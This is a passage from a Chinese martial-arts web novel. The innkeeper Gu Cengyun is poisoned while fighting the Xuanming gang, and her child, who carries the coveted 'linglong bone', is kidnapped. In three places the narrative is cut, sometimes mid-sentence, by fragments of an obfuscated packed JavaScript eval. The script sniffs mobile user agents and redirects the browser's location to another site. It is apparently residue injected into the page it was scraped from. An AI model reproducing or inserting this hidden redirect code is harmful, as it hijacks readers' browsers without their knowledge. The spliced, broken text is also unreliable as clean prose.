笑面书生收起假笑的伪饰,真容似笑非笑,一脸阴险:“顾掌柜既然猜到又何必来问?” 那笑面书生故意说得很大声,身后跟随的众人听到却是精神一振。 周盈与海若渊在二楼围观战局,只见顾曾云身法轻灵非常,她又是一意灭口,才托出两招,来人便稀稀拉拉倒下了一片。 周盈迟疑了一下,猜测道:“那人是盗指玄冥。” 海若渊点点头。 盗指玄冥,罗刹海三煞之一赤狐的手下,也是玄冥帮的老大。 赤狐是个贼,盗指玄冥也是个贼。 然而,盗亦有“道”,盗贼也有自己的一套内部划分原则:最下者窃财,中者窃宝,上者窃器。盗财者要识金银,道宝者要识得宝物,而能盗器者便要认识天下名器。 盗指玄冥就是盗贼中的窃器者,更练有一招至残至毒的玄冥指,偷遍天下从不失手。 是高手中的盗贼,更是盗贼中的高手。 顾曾云与他虽然未曾照过面,但也知晓他的名号。此刻听见这事有他插手,下手再没有一丝迟疑,眨眼之间竟以一人之力把玄冥帮众人落花流水、生死不明。 海若渊注视着楼下,口中道:“刚刚怎不见你?” 周盈睡得天昏地暗,一觉醒来,楼下便已经剑拔弩张,尴尬地敷衍道:“还能干嘛,睡觉喽。” 楼下的战局似乎以顾曾云压倒性的胜利结束,所谓的玄冥帮众似乎真的只是一群乌合之众,居然被顾曾云打得毫无还手之力。 又看了一阵,海若渊神情微变:“你会帮哪一方?” 周盈道:“你以为她打不过这些人?” 海若渊没回答,却道:“看来你选择帮她。” 周盈始终注视着楼下战况,道:“我没有理由这样做。” 周盈嘴硬着,正打算做壁上观,局势却陡然改变:一直未出手的笑面书生突然往后走了几步,羽扇轻扇,看似随意的动作,只见微弱的火光中窜出几根细针,那针细如牛毛又藏在纸扇下,顾曾云虽有防备,却也不慎中招。 吃痛瞬间,顾曾云一声不吭,出手依旧是招招狠辣,似乎真只是被牛毛轻轻戳了一下。 然而,周盈观察到这细微的变化,脸色一变,道:“他使诈。” 海若渊冷静道:“兵不厌诈。”何况顾曾云可是要杀他们灭口! 但是他明白周盈心上的天平已经偏向顾曾云,虽不知何故,或许是爱美之心人皆有之,他看了看周盈,提醒道:“盗指玄冥是赤狐的得力干将。” 瞌睡来了递枕头,周盈立即道:“不妨抓个人问问赤狐的踪迹。” 说罢,丢下海若渊,从二楼一跃而下。 顾曾云受创一刹只觉得伤处酸痛,等她再提功力时,这种酸胀感逐渐蔓延开来,一点点变成炙热的灼烧感。 她看着滴落的血液,暗道:“有毒。” 笑面书生见状,狂笑起来,一张脸不停地抽搐,然后他又似冷静下来,出口激道:“顾掌柜,玲珑骨你还护得住吗?” 顾曾云听到这句,毒气上窜,直逼心脉,又呕出一口黑血。 笑面书生嘻嘻一笑:“这毒是盗指玄冥所赠,滋味不错吧。” 顾曾云脸上浮冷汗,一张脸变得惨白。不知是怒气攻心还是护子心切,顾曾云竟然无视自身伤势,想出手杀掉笑面书生。 然而有心无力,至毒入体,任她修为再高也要散去一半。笑面书生有心诱她上钩,等她分神一刻,一直不曾动作的剑客忽然拔剑往她后心刺去。 笑面书生毒计得逞,露出慰心之笑。 下一秒,他脸色徒地变了:“你们没死!” 一个声音道:“很不幸,你要先死了。” 周盈步伐迅捷,剑更快人一步,眨眼便挡下致命一剑。 顾曾云一张脸白得恐怖,周盈看了心也是暗暗一惊,连忙把人扶住。 眼见毒计将成,凭空杀出一人,笑面书生脸都僵了。正欲发作,再见剑上青光,脸色突变:“日月轮……是日月轮!” 他冲周盈大喊:“你是什么人!” 没等周盈回答,那偷袭的剑客却道:“不可能,不可能,日月轮怎会出现在这里!”话语中满是震惊。 听二人一阵神神叨叨,周盈奇道:“你们见过日月轮?” 回味过来,又道:“为什么日月轮不会出现在这里?” 那剑客只是盗指玄冥手下一个籍籍无名的小卒,近些年苦练剑法,功力才有所提升。前几日笑面书生奉命来寻他,说的是夺玲珑骨,现在却意外见到神机名剑。 他正欲开口,笑面书生却像发什么不得了的事,惊呼道:“不对,你是萧散人。” 听到这句话,海若渊与顾曾云都回头来看他,前者不可置信,后者不可置信,周盈一头雾水,刚想出口解释。 那剑客却像刚刚反应过来一样:“不可能,日月轮不可能在她手上。” 他突然指着笑面书生道:“是你知情不报,你想独吞日月轮。” 原来这一行二十三人,虽知道日月轮的名字却没有见过日月轮真身,只有笑面书生多年前就得到盗指玄冥器重,常常随身侍侯,为其出谋划策,狼狈为奸。他们中若有人见过日月轮,那一定是他。 何况白天他早来踩过点,刚刚的反应,根本是早就见过周盈。 见过周盈,怎会忽视他背后的日月轮!但他却一直闭口不提。 那剑客反应过来,怒道:“你………” 一句话没说出,忽觉一阵刺痛。 细如牛毛的毒针入体一瞬间,周身各大脉,七窍神经,只像火焚一般。他功力远逊顾曾云,吃招一刻便命丧黄泉。 周盈直愣愣盯着他:“你竟然下得去手!” 笑面书生皮笑肉不笑:“不杀他,我就没有活路。” 他道:“关于日月轮他知道的我都知道。” “不过嘛……” 他绽开一张笑脸,周盈觉得比哭还难看:“想让我饶你一命?” 笑面书生正要开口,头顶传来一阵撕心裂肺剧痛。 他瞪大了双眼,脸上还维持着那个笑,黑幽幽的瞳孔里边是顾曾云白煞煞的脸。 他千算万算,不惜杀害同伴也要换自己一命,提防着海若渊,提防着周盈,甚至提防着死去的同伴,就怕他回光返照给自己一剑。却独独没有提防剧毒早已逼入心脉、与死人无异的顾曾云。 那张脸上又惊又笑,又是恐惧,又是不甘,简直滑稽极了。 鲜血汩汩从头顶淌下,把一张脸浇得血红无比,掩去滑稽无比的笑容。 周盈也没料到重伤到连站都站不稳的顾曾云会突然发狠把人打死。这一击用足她最后一点气力,不偏不倚,刚好盖在敌人天灵,分明是谋算已久! 周盈上前两步,刚想张口,顾曾云却再也支撑不住,颓然倒了下去。 海若渊一摸:“她已经毒入心脉了。” 周盈让她靠着自己,手却止不住的发抖,此时此刻,她只有一个想法。 “我要救她!” 海若渊道:“她已经毒入心脉。” “我知道!” “我知道!” 海若渊朝她心口点了两下:“这只能暂缓毒气逼心。” 他提醒道:“这毒的厉害你知道。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796354|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周盈轻轻抱起她,噔噔噔往二楼送:“我先送她回去。” 海若渊看着她的背影,默默跟在后面。对一个第一次见面的陌生人,海若渊不明白周盈为什么会是这种反应。 身为十二指玉楼的人,比起十八学士,这人失于沉稳,情绪太容易被挑动。 周盈前脚踏进去,海若渊在后面跟着,把灯点燃。 油灯温暖的光照在周盈背上,也照出重伤之人苍白的脸。 那是一张没有一点血色的脸,没有一点活人气,要不是刚刚探了她的脉搏,连周盈也无法确定她还活着。 “这毒出自盗指玄冥,若能找到他,可否———” 周盈没有说出下面的话,盗指玄冥四字既是始作俑者,更是一个不知身在何处的人。于是她只能道:“有什么方法能缓解毒性?” 海若渊道:“用毒,她强于你我。” 如果不识毒,怎会知晓用火扩散醉心茉莉,连他也险些中招。 海若渊又道:“她修为不弱,又善用毒,这毒不一定就会要了她命。”这话原是带着宽慰,但周盈却越听一颗心越往下坠。 顾曾云苍白的脸上冒出大滴冷汗,似乎被锥心之毒折磨得痛苦难当,脸扭曲变形。 火光仍在摇晃,外面的秋虫似乎再也蹦哒不了,屋子一时陷入沉寂。 周盈起身走来走去,突然似乎想起什么,然后她索性拿起了日月轮。 火光下,日月轮依旧散发着独特清冷的清辉。 海若渊道:“再急,你也不能瞎来。” 周盈回过头,火光中俊美的脸庞对着他,眼神格外坚定。 周盈道:“我可以。” 海若渊闻言退后,双眼却一直盯着她。 周盈全神贯注,不敢轻一分,更不敢重一分。用剑小心翼翼地划开衣物抵达皮肉,然后轻轻一华,让暗色的毒血从心口流出。 这毒虽厉害,但不会立刻致死,只要顾曾云不强行催动功力,等毒效稍缓,便可挣得一丝生机, 周盈力度掌握刚好,见那毒血从伤口划出,便将人扶起,缓缓贯入真气。 果然,毒血已经被逼出大半。 但这方法只能解一时之难,想要根治还得调配出解药。 周盈为她祛过毒,想要去包扎胸口的伤口,忽然反应过来海若渊还在这里,催促道:“你先出去一下。” 海若渊不知为何,迟疑了一下,道:“一会儿我有事情要和你说。” 周盈一边把人推出去,一边道:“你先出去,有什么事情一会儿再说。” 虽然没做过这些事,但也在医书上见过。这是心口的伤,周盈丝毫不敢马虎,小心翼翼为顾曾云仔仔细细包扎好。 包扎完,看着顾曾云衣衫凌乱,血痕四溢,周盈很想为她重新换一身,但念及她重伤在身,倒不敢随意折腾,于是又拿绢布轻轻帮她擦干净脸上的汗。 直到确认床上的人气息稍微平稳,才松了口气。 周盈缓了一会儿,静静端详这张脸,似乎想从中看出什么。可她完全没一点记忆,脑海中那张脸,时时出现,她却连最基本的轮廓也勾勒不出。 周盈叹了口气,有这样的母亲那个孩子实在很幸运。 孩子!周盈这时才想起海若渊还在外面呢! 她一开门,海若渊便回过头来:“你可发现店里伙计不见了?” 周盈这才反应过来,刚刚他抱顾曾云进屋,灯是海若渊点的。 海若渊说的是不见了,而不是死了或者受伤了,也就是说赵瑾失踪了。 当然,失踪有很多种,听海若渊的语气一定是最不愿见到的那种。 海若渊接着说出另一项消息,他道:“那孩子也不见了。” 22. 玲珑骨(五) 不光赵瑾和孩子失踪了,连那醉酒客也惨被一刀穿心,溅了一墙的血。至于拴在腰间的阎王刺,自然是不翼而飞了。 周盈忽然想到什么,慌忙扒开门缝看了一眼,微弱的光照出顾曾云不安的面孔,她一直没有真正入睡,昏倒前的不安显然还在困扰她,那张漂亮的脸上却再看不到之前的狠戾。 周盈将门轻轻关上,压低了声音:“我们先去查看一下情况。” 海若渊看在眼里,忽道:“你很在意她。” 周盈看了他一眼,说:“你什么意思?” 海若渊似乎有些为难,周盈看他别扭的表情,道:“你有什么就直说。” 他觉得自己管得有些宽,但还是出口提醒道:“她有儿子。” 周盈顿了顿,才体会出他这话背后的意思,有儿子不就是暗示她已经有丈夫,他莫不是以为自己喜欢上顾曾云? 虽说喜欢有很多种,但是周盈肯定他必定是想到最歪的一点上了。 不由得笑道:“你不会以为我对她有意吧。” 尽管荒唐好笑,但海若渊不觉得自己想歪:顾曾云武功不错,作风爽利,就算周盈为人浅薄浪荡,一时贪图她的长相,她也是个美人。再说,在三摩地她就曾为一个不知名女子三言两语哄来打人。只是……这一次似乎格外不同。 海若渊道:“那刚刚你怎叫我出来?” 周盈一愣,脱口而出:“她也是个女子,难道让你白白占了便宜不成?” 她没料到自己这话歧义在何处,海若渊一脸深沉:“莫非你……” 周盈看他眼神极其克制地在自己身上微微移动,慌道:“我与你一样。” 海若渊眼神更怪了。 周盈终于明白过来,万分坚定道:“我与你一样是完整之躯。” 海若渊似信非信,表情丰富。 周盈道:“莫非你不是———” “是——是——” 海若渊觉得自己不该和她提起这个话题。 排除一见钟情,两个陌生相遇的人,非亲非故,她为何这样在意? 她究竟在意什么? 周盈忧心顾曾云的孩子,道:“我们先去查探查探情况。” 海若渊道:“你安心放她一个人在这儿?” “对啊!”,周盈这才猛地想起,对方既然能趁他们分神时带走孩子,必然是早有准备,他俩一离开,不正好对顾曾云下手?周盈道,“要不你就在这儿我去?” 海若渊道:“照顾病患不是我的长处。” 七段金枝衔令者,谁有这份荣幸要他亲自照顾?周盈叹了口气:“好吧。” 她只得取下日月轮亲手放在顾曾云身侧,油灯灯火渐微,她又添了灯油,要是她中途醒来也不必惊慌得以为自己深陷险境。 周盈做完这一切才放心拉着海若渊离开。 日月轮是一把守护的剑,有它在谁也伤不了顾曾云。 二人绕屋顶查探一圈,上面没有什么特别值得注意的痕迹。自然也不会是前门,毕竟当时顾曾云正与玄冥帮一群人打得火热。 思来想去,周盈道:“后门是从里面关上的,这人也不是从后门出去。”语气中透着隐隐烦躁。 海若渊能悄无声息的进入那个孩子的房间,那人若存心带走孩子自然也能。只是,带走孩子后还一点痕迹都不留下,让别人寻查无踪就不是一般人能做到的。 要不是武功极高,要不就是对这里的情况特别熟悉,甚至连整个战局也了如指掌。 周盈回头看了看赵瑾关上的房门。 如果不是他,便只有盗指玄冥亲自出手了。 赵瑾的房间被安排在一楼远离酒窖的位置,前窗正好可以把战局看得清清楚楚,若他从旁窥探,顾曾云即使发现也只会以为他是心系自己安危。 赵瑾啊赵瑾,可别真是你干的。 周盈虽存一丝侥幸,但是与赵瑾交谈时,便觉得他话中有话,似乎在暗示她去调查那个紧闭的房间。可顾曾云又这样重视自己的孩子,他的意图不就是想激化双方矛盾。 周盈有些气恼。 玄冥帮找上门是为了玲珑骨,难道赵瑾也为了玲珑骨,情急之下狗急跳墙,一不做二不休干脆趁机绑走孩子? 二人进去一看,赵瑾房间的侧边窗户支架掉落在地上,门闩处则夹了个纸条,上面写着几个大字:“老地方,一物换一人。” 没有署名。 周盈捏着那个纸条,陷入沉思:“一人”自然是指顾曾云最重视的孩子,“一物”却不是指孩子身上的玲珑骨,想来顾曾云还有什么东西已被他惦记着,其份量甚至超过了玲珑骨。 至于“老地方”三字,打着哑谜,摆明了是不让她和海若渊追查。 周盈偏不随他所愿,偏要管闲事。 于是,她循着遗留下来的痕迹翻出了窗外。 埋没在暗夜之中的背影被火光一照,拖出周盈长长的影子,她正依靠一点火光细细辨别脚步去向。 海若渊看在眼里,却不去帮忙,对方既然留下这样两句话必然料定他们找不到他的踪迹。 “你为何这样关心她?”海若渊猝不及防道。 周盈以为他脑子被马粪熏坏了,一句话翻来覆去问,翻了个白眼:“你不是以为我想当人家后爹?” 海若渊顺着话意道:“你承认对顾曾云有意?” “是——是——” 周盈拖长音调,道:“我对她一见如故就是了。” “一见如故?” “她是十二指玉楼的人?” 周盈身形一滞,这个问题显然超出她的认知范围了。海若渊,绕来绕去,原来是想套自己的话。 她直起身子,将手上的火心抬得高些,火光照到更大的范围。 没有用,赵瑾有意避开他们,特意隐去了行路的踪迹,他们不熟悉,荒郊野岭的又去哪里找人? 周盈此时才缓缓回话:“你瞧谁都是十二指玉楼的。” 身后的人没有回答,目光落在数十米外:“那有一个人。” 顺着他说的方向看去,平地上似乎真躺着一个人形黑影。因为隔得远,天又黑,视线不是很清晰,连那人是男是女也看不清。 周盈道:“走,看看去。” 那人倒在房子的拐角处,刚刚他们一心查探后门竟没注意到。 周盈走近些,火光一照,照出一张青紫色肿脸,不是费无极是谁。 正所谓枪打出头鸟,一照面,他就有意挑衅顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796355|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾云,便先做了亡命鬼。尸体被甩飞出几十米远,原来是被震飞到这里。 再怎样说,客店附近出现死尸总是很奇怪的,周盈正想拖他与剩下二十二人一起挖个大坑埋了。经过在十里槛给金刀卫埋尸,她已经对这一套流程熟能生巧。 然而,海若渊却制止了她:“这人没死。” “没死?”周盈大奇。 他们可是亲眼见到顾曾云下的杀手,摔成这样还能不死,是这人实在命硬? 周盈疑惑地凑近瞧了瞧,果然,费无极的胸口十分微弱地起伏着,朝脖颈一探,果真还有脉搏! 她觉得蹊跷,便掀开费无极衣服去探查胸口的伤处。微光下,依稀可见那本该碎心的一掌却不多不少正正向着中间偏移了两寸,连所用内劲也只是浮在表面。 看来费无极只是一个马前卒,顾曾云没真正对他下杀手。 只是这一掌来得猝不及防,下手又十分很辣,在旁人看来必然是要费无极的命了,任谁也想不到顾曾云暗暗放过了他。 那这一掌又是打给谁看? 闹事的玄冥帮众! 可是后面她的确招招狠戾,那些人真正横死当场,一个活口也没留下。 周盈记得顾曾云态度转变是在笑面书生说出要取玲珑骨的时候。 想清楚缘由,她对海若渊道:“看来要不是对方要抢玲珑骨,顾曾云也不会真的下杀手。” 周盈第一次觉得命运是样猜不透的东西,拼命找死的人反而侥幸留了一条命,机关算计的最后还是逃不过死劫。 想起来,周盈又觉得有些可惜,笑面书生和那剑客好像真知道关于日月轮的一些事。 但两个都死了。 她看了看海若渊,想起当时他说关乎那孩子的生死,所以顾曾云才决心下杀手。便问道:“你怎知玲珑骨关系那孩子的生死?那些人口中的玲珑骨究竟是什么东西?” 海若渊的回答简明直接,他道:“玲珑骨就是那孩子身上的第二根肋骨。” “肋骨?” 周盈立即明白了,想要玲珑骨,不就是想杀人取骨。 难怪顾曾云会杀人灭口,他们死得确实不冤枉。 海若渊看了一眼费无极,道:“这人怎么处理?” 周盈拍了拍他的脸,确定他完全昏死过去,估计一时半会儿也问不出什么,道:“关着吧,多少算个活口,说不准还能问出什么。”于是二人将他拖去一楼柴房关着。 接下来就是莫名失踪的赵瑾。 可是赵瑾又在哪里? 周盈回头看了看客栈的二楼,一扇窗中透出微弱的火光,若顾曾云醒来知道自己的孩子被赵瑾带走她会是什么反应? 她无论怎样也想不到赵瑾表面对她恭恭敬敬,背后却拿准了她最在意的孩子开刀。 赵瑾和那些人一样,图谋顾曾云身上的宝物。那些人要的是玲珑骨,他要的更多。 周盈不知道这个东西究竟是什么,只知道赵瑾的手段更高明,也更阴毒。因为她能感觉到顾曾云对赵尽十分和善。如果他借这顾曾云释放的友善,却在背后捅刀,那他就良心一定坏透了。 几番搜寻后,依旧一无所获,周盈只能道:“走吧,我们先去把那些尸体处理了。” 23. 玲珑骨(六) 整整二十三人,要挖这么大的坑把人全部埋完也费了不少时间,回去时顾曾云已经醒了。 寂静的房间,只有一盏油灯,燃着灯火。 顾曾云脸埋在阴影里边,望着天花板不知在想些什么。 她的脸色依旧很苍白,方才不安的睡容在此时完全看不出,但周盈心知她必定惦念着孩子,又不忍一开口就拿这件事来刺激她,脑子里边挣扎了好几下,讷讷问道:“你怎样了?” 顾曾云没有回答,缓缓转过头,道:“我的床头有一个木制的锦盒,劳你帮我拿来。” 她开口必然是很重要的东西,周盈连连答应,扭头就要给她拿。 这是周盈第一次进她的房间,一进门就看到床边放着一个精致的摇篮,白日人多眼杂,她只好把孩子锁在房间里。现在孩子早被人带了去,摇篮边上只留下一件还没做好的棉衣,看上去空落落的。 周盈没想到一开门就是这样的情景,心里有说不出的滋味,想多看两眼,又不敢看,只是赶紧寻了锦盒,快步离开。 海若渊说的没错,要说用毒、治毒,顾曾云远胜他们,那个锦盒里装的是一丸小小的丹药,顾曾云吞下它以后,稍作调息,面色稍微有和缓。 顾曾云道:“他可有留下什么话?” 自己受了伤,伤口被人包扎好,赵瑾却不见了,她早已经猜到了。 周盈听她说得平静,话到嘴边却是烫嘴,最后只得将字条递给她。 新添的油灯早燃了大半,深夜的秋虫也停止了鸣叫,顾曾云看了一眼,平静地收起字条,对二人道: “你们想知道什么就问吧。” 依旧是平静的声音,话语中完全没了之前的狠戾,取而代之的是面无表情的冷静。 面对威胁到自己孩子的人,顾曾云可以出手狠辣,杀人不眨眼,仿佛失去了理智。但周盈知道她比谁都冷静,比谁都有耐心。要不然,分明重伤濒死,又如何给笑面书生如此精准的致命一击? 但周盈不知道从何开口,因为无论问什么都会牵扯到她的孩子,提醒她孩子已经被人掳走,而那个人就是早早埋伏在自己身边的赵瑾。 看似言听计从,实则包藏祸心。 海若渊却很直接:“盗指玄冥为何要玲珑骨?” 顾曾云道:“我也不知道。” 海若渊换了种问法:“玲珑骨有什么用?” “你们是谁,也是为玲珑骨而来?”顾曾云不正面回答,平静的眼神里透出了杀机。 如果他们也是为玲珑骨而来,她决不会透露孩子的去处。 周盈怕她误会,连忙解释道:“不……我们没想要玲珑骨。” 顾曾云的神色没有丝毫缓和:“你们是谁?” 周盈没说话,她并不想骗她,可是海若渊又在这里,让她也无法坦诚。 她不知道该怎么说,迷阳地三个字第一次让她觉得难以启齿。 海若渊也不隐瞒,自报了家门,又说:“她是周盈,来自十二指玉楼。” 说罢,海若渊拿出随身携带的七段金枝,金枝在火光下闪着金色的光。 这是货真价实的金枝令,像是顾曾云这样的修行之人,轻易便可以明显感受到来自金枝令的充沛力量,故一眼便可识得真假。 凭借这个,可以确定面前的就是公室的七段金枝持令者。似乎也是因为这个,顾曾云并没有再怀疑周盈的身份。 当时她就疑心周盈怎么会有日月轮这样的灵器,如今自然想通,她道:“看来这把剑是十二指玉楼的东西。” 说罢,顾曾云拿起日月轮,递还给周盈:“你自己收好。” 海若渊看着周盈接过剑,心中生疑,难道她一开始的目标不是日月轮,阎王刺已经失落,那么赵瑾要她交换的东西又是什么? 但这说不通,如果不是为了日月轮她当时又何必费心留下周盈? 海若渊心道,只怕她还有其他的算计。 一旁的周盈思维却显得有些脱线,忽然问道:“萧散人是谁?” 当时笑面书生私吞日月轮的野心被发现,提起这个名字,很大一部分是为了转移那剑客的注意力,但是玄冥帮众言语中好似对萧散人十分畏惧,临时的反应且如此千篇一律,是做不得假的。 非但如此,顾曾云好像也认识萧散人。 那么,萧散人在顾曾云与玄冥帮的纠葛之间又扮演着什么角色? 许是他们自明身份,顾曾云虽有迟疑最终还是没有隐瞒:“萧散人就是赠我玲珑骨的人。” 这个回答完全在周盈意料之外,连海若渊也吃了一惊,当时他仔细看过那个孩子,他能清楚地感受到玲珑骨纯净的气息,源源不断自身体散发出。玲珑骨似乎是那孩子与生俱来的。 顾曾云摇摇头:“他只留下一封信,我也没见过他。” 海若渊看出其中端倪:“那他为何要赠你玲珑骨?” 若二人素不相识,萧散人怎会平白无故将如此珍贵的玲珑骨送给她。 顾曾云道:“当年萧散人留信要我去救一人。” “救谁?” “戴眉山。” 周盈觉得这个名字十分熟悉,但一时又想不起来。 海若渊已经反应过来:“会稽城的戴家。” 被他这么一提醒,周盈也想起来了。 一百一十九年前,玄冥帮打劫会稽城,并且扬言三日屠城,会稽城名门戴家首当其冲被灭门。 灭门后,唯一幸存下来的只有戴眉山,可是在戴家这一桩往事里,周盈无论如何也搜寻不到萧散人的身影。十八学士说过,戴家以文立家,所结交的都是些手无缚鸡之力的文人。会稽城不在公室辖域里,被盗指玄冥盯上的戴家孤立无援,只是待宰的羔羊。不料戴眉山的妻子与公室颇有渊源,公室也因为有这层关系在,接到消息后,派出一队金刀卫入城查看。 但是,看海若渊的反应,又好像不认识萧散人。那么,萧散人必定不是公室之人。 顾曾云接着道:“当年戴家被盗指玄冥盯上,家中奴仆都被杀死,唯独留下戴眉山。” “盗指玄冥留他不死,却给他施了毒药。” 盗指玄冥恶名在外,原本就不是心慈手软的人,周盈疑惑道:“盗指玄冥既要杀他,为何又要如此大费周章?” “为了引出他的妻子。” 这话一出口,两人脸色皆沉下去,戴眉山的妻子在灭门后就再也没有出现过。 顾曾云道:“当时戴眉山被下剧毒,人人都不愿意招惹玄冥帮,更不敢得罪罗刹海,只有萧散人愿意出手救他。” “萧散人将盗指玄冥派去跟踪戴眉山的人全部杀死,但是对他身上的毒却束手无策,所以最后才找到了我。” 周盈道:“所以萧散人用玲珑骨作为交换?” 顾曾云道:“你猜错了,戴眉山与他素不相识。” 既然素不相识,又怎会舍得用玲珑骨作为交换?周盈心道,莫非这个萧散人是个大善人? 想罢,又听顾曾云道:“那时他也不知道我需要玲珑骨。” 此话藏有玄机,当时既然不需要玲珑骨,后面又是什么原因让她非要玲珑骨不可? 顾曾云继续道:“戴眉山凡夫俗子,武功、修为全无,自然无法抵抗过强的毒性。好在盗指玄冥给他下的毒本意在拖延,毒性不算太强,虽然棘手,也不会立刻要了他的命,所以我才有机会救他。” “你们一定好奇我当时为什么不需要玲珑骨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关上门,周盈闷头快走,海若渊从身后道:“你有话为何不直说?” 周盈摇了摇头。 说什么,不管是赵瑾还是顾曾云,都不想她插手。 她再怎样好管闲事,但如果情况不明就鲁莽插手,反而会害了那个孩子。 沉默一阵后,周盈忽然道:“戴眉山的妻子与公室有什么关系?” 海若渊道:“她认识金枝令的持令者。” “谁?” 海若渊没说。 周盈心里叹了口气,不管是谁,只怕也不在这个人世。金枝令不传外人,可公室上百公子,除了一个朱明公子,其余皆死在一百一九年前。 寂寂暗夜,店里虽有三人,但只是无声的一片。顾曾云似乎真的睡过去,连灯也吹灭了。海若渊好像心里有事,望着远处不知在看什么,黑夜很长,只有面前一盏油灯似乎永远烧不尽。 不知过了多久,周盈突然问道:“你说戴眉山怎样了?” “或许已经死了。” 死了…… 修行之人毕竟只是极少数,顾曾云可以用几十年的时间为她的孩子谋划,戴眉山却只是一个普通人,全家被杀也只能求告无门,忍气吞声。就算侥幸逃过一劫,也只有几十年好活。然而,他这几十年也不见得如何自在。 周盈在心里叹了口气,道:“戴眉山的妻子真的没再出现过吗?” 海若渊似乎在回忆什么,等回忆到一个确切的点,他才终于确定道:“没有。” 戴家被灭门后,戴眉山的妻子再也没出现过。 24. 玲珑骨(七) 次日,周盈突然自梦中惊醒,左右瞧了瞧,扬手拍醒旁边的海若渊,振振有词道:“你想,盗指玄冥好端端让玄冥帮来抢玲珑骨做什么?早不抢,晚不抢,偏偏现在抢。” “玲珑骨可以助人肌体重生,增强体质。道指玄冥和罗刹海走得这么近,莱山罗罗又刚好断了一臂。”她说得有理有据,而且越说越起兴,丝毫不给海若渊插嘴的机会,“搞不好他夺玲珑骨就是为了医治莱山罗罗。” 海若渊一阵沉默,然后看了她一眼,猝不及防道:“你这梦做得辛苦。” “对呀,之前怎么就没想起来——” “!” 周盈终于察觉到哪里不对劲:“你怎么知道我昨晚做梦?” 这时,她才注意到桌上那盏油灯已经熄灭,里面的灯油也已经烧得干干净净,露出一截黑黢黢的灯芯。 她和海若渊竟在地下昏睡了一整夜! 睡着前似乎闻到一股茉莉花香。 她当即意识到不对劲儿了,自己自小少梦,原来这几回做梦都是因为那股奇怪的花香! 惊愕之际,周盈两腿一蹬,自地上飞速爬起,推门一看,床上空空如也,哪里还见得到顾曾云? 昨夜她早早地熄灯,还以为她太过劳累,没想到是为了暗中施下迷香。 海若渊悠悠紧跟其后,忽道:“这不是迷香。” 周盈道:“不是迷香?” 海若渊道:“是醉心茉莉,行医时遇到伤重难耐的患者,她以此花为之安抚,对缓解痛苦与恐惧情绪往往有奇效。” 换句话说,中了醉心茉莉的人会沉醉于内心深处的幻境不可自拔,无法感知到真实世界发生的一切,顾曾云杀死他们与捏死只蚂蚁没什么分别。 可是,海若渊看了眼周盈,日月轮还好好地背在她身上呢! 除了日月轮,他想不到顾曾云故意留下他们的理由,现在有可趁之机反而不下手,海若渊也开始感到迷惑了。 难道酒茶里面的迷药根本不是顾曾云下的,所有都是赵瑾一手推动? 迷药的目的根本不是要迷晕他们,而是要挑起他们和顾曾云的矛盾! 他们不知道顾曾云什么时候离开的,但是冷阳高照,灯油都烧干了,她恐怕已经正面对上了赵瑾。 周盈惊出一身冷汗,她的身上还有伤呢! 盗指玄冥的毒昨夜险些就把她逼死,现在她为了孩子又孤身一人去找赵瑾,前面不知有多少陷阱和算计等着她。 周盈走来走去,脑子一团乱麻,半天想不到法子。突然,似乎想到了什么,直往一楼冲。 海若渊看她急得像热锅上的蚂蚱,怕她冲动,跟在后面阴魂不散道:“你知道顾曾云去了何地?” 周盈脚下疾走,口中道:“赵瑾的房间里一定还有其他线索,只是我们没发现,我再去找找。” 她虽然忧心顾曾云母子,但还没有完全失去理智。 不过她忽视了重要的一点。 海若渊一听,当即道:“不如先去马厩看看?” 周盈瞬间明白了他的意思。 顾曾云心忧其子,但脑子却冷静无比。照瑾要求她孤身赴约,一则她先以罪心茉莉将来意不明的二人迷魂,避免节外生枝。二则,她受了重伤,为了保存体力一定会寻一匹马充当脚力。 酒肆地处偏僻,顾曾云能马上寻到的马匹,就只有他们带来的万两和阿金。 果然,二人冲到马厩一看,里面只剩下阿金。这马受过公室精心训练,性子又烈,旁人是无法轻易骑走的。顾曾云既然不愿意让他们插手,照现在的情况来看,与其要性子倔犟又善于识途的阿金,不如要愚笨的万两。 可是,问题就出现在这里,那呆马的愚钝他们已经见识过了,若真的不识路,他们又如何靠它找到顾曾云? 顾曾云需要坐骑,路途势必十分遥远,即便它真能回来,可等它走回来不知是何年何月了。 所以海若渊并未在第一时间提起此事。 但是周盈却一瞬间冷静下来,只见她口诵法诀,一束幽蓝的小火苗突然从指尖窜出。 火焰轻微跃动着。 周盈感应无误,道:“在西南六十里。” 海若渊看着那幽蓝的火苗消失在他的手上,想起了公室的那团火,那团白色的焰火,分明感受不到一点温度,却又十分顽强,生生不息。 人们总是对神秘的事情保持着敬畏之心,并且在心里一步步把它捧高,十二指玉楼便是如此。在很多人心里面,那个只存在于预言中的十二指玉楼甚至比公室更让人敬畏三分。 而自称出自十二指玉楼的周盈无疑是个全才,掌法精湛,剑术也算可圈可点,甚至连术法也用得炉火纯青。 可是……… 